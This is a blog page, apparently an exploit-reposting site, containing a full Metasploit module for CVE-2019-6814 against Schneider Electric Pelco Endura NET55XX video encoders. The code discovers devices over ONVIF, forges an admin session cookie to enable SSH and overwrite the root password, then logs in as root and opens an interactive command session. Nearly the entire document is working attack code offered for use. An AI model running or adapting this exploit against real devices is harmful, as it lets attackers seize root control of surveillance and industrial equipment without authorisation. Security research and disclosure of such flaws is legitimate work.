Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86381883

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Schneider Electric Pelco Endura NET55XX Encoder",
      'Description'    => %q(
        This module exploits inadequate access controls within the webUI to enable
        the SSH service and change the root password. This module has been tested successfully
        on: NET5501, NET5501-I, NET5501-XT, NET5504, NET5500, NET5516, NET550 versions.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Lucas Dinucci <idntk.lucdin@gmail.com>',
          'Vitor Esperança <vitor@machiaveliclabs.com>'
        ],
      'References'     =>
        [
          ['CVE', '2019-6814'],
          ['URL', 'https://www.schneider-electric.com/en/download/document/SEVD-2019-134-01/']
        ],
      'Payload'        =>
        {
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'     => [ [ "Universal", {} ] ],
      'Privileged'     => true,
      'DisclosureDate' => "Jan 25 2019",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('NEW_PASSWORD', [ true, 'New password to be set for the root account', Rex::Text.rand_text_alphanumeric(16)]),
        OptInt.new('TIMEOUT', [ true, 'Timeout for the requests', 10])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('UDP_PORT', [ true, 'UDP port for the ONVIF service', 3702]),
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def new_password
    datastore['NEW_PASSWORD']
  end

  def check
    xmlPayload = '<?xml version="1.0" encoding="UTF-8"?>'\
                 '<Envelope xmlns="http://www.w3.org/2003/05/soap-envelope">'\
                 '<Header xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing">'\
                 '<a:Action mustUnderstand="1">http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</a:Action>'\
                 '<a:MessageID>uuid:f3d577a3-431f-4450-ab45-b480042b9c74</a:MessageID>'\
                 '<a:ReplyTo>'\
                 '<a:Address>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>'\
                 '</a:ReplyTo>'\
                 '<a:To mustUnderstand="1">urn:schemas-xmlsoap-org:ws:2005:04:discovery</a:To>'\
                 '</Header>'\
                 '<Body>'\
                 '<Probe xmlns="http://schemas.xmlsoap.org/ws/2005/04/discovery">'\
                 '<Types xmlns:dp0="http://www.onvif.org/ver10/network/wsdl">dp0:NetworkVideoTransmitter</Types>'\
                 '</Probe>'\
                 '</Body>'\
                 '</Envelope><?xml version="1.0" encoding="UTF-8"?>'

    connect_udp(true, {'RPORT' => datastore['UDP_PORT']})
    udp_sock.put(xmlPayload)
    resp = []
    resp << udp_sock.get(datastore['TIMEOUT'])
    xmlResponse = resp.join(',')
    disconnect_udp
    if xmlResponse.include?("NET5501") || xmlResponse.include?("NET5501-I") || xmlResponse.include?("NET5501-XT") || xmlResponse.include?("NET5504") || xmlResponse.include?("NET5500") || xmlResponse.include?("NET5516") || xmlResponse.include?("NET5508")
      return Exploit::CheckCode::Appears
    end
     CheckCode::Safe
  end

  def change_password
    print_status("#{peer} - Attempt to change the root password...")
    post = {"enable": true, "passwd": new_password, "userid": "root"}.to_json

    login = send_request_cgi({
      'method' => 'POST',
      'uri' =>  normalize_uri(target_uri.path, '/cgi-bin/webra.fcgi?network/ssh'),
      'data' => post,
      'headers' =>
      {
        'Cookie'        => 'live_onoff=0; userid=admin; grpid=ADMIN; permission=2147483647',
        'Content-Type'  => 'application/json;charset=utf-8'
      }
    }, timeout=datastore['TIMEOUT'])

    fail_with(Failure::UnexpectedReply, "Failed to change root password") unless login && login.code == 200
    print_good("#{rhost}:80 - Successfully changed the root password...")
    print_good("#{rhost}:80 - New credentials: User: root / Password: #{new_password}")
  end

  def do_login
    change_password
    print_status("#{rhost}:22 - Attempt to start a SSH connection...")
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => 22,
      :use_agent       => false,
      :config          => true,
      :password        => new_password,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }
    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(datastore['RHOST'], 'root', opts)
      end
    rescue Rex::ConnectionError
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:22 SSH - Disconnected during negotiation"
    rescue ::Timeout::Error
      print_error "#{rhost}:22 SSH - Timed out during negotiation"
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:22 SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:22 SSH Error: #{e.class} : #{e.message}"
    end
    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      return conn
    end
  end

  def exploit
    conn = do_login
    if conn
      print_good("#{rhost}:22 - Session established ")
      handler(conn.lsock)
    end
  end
end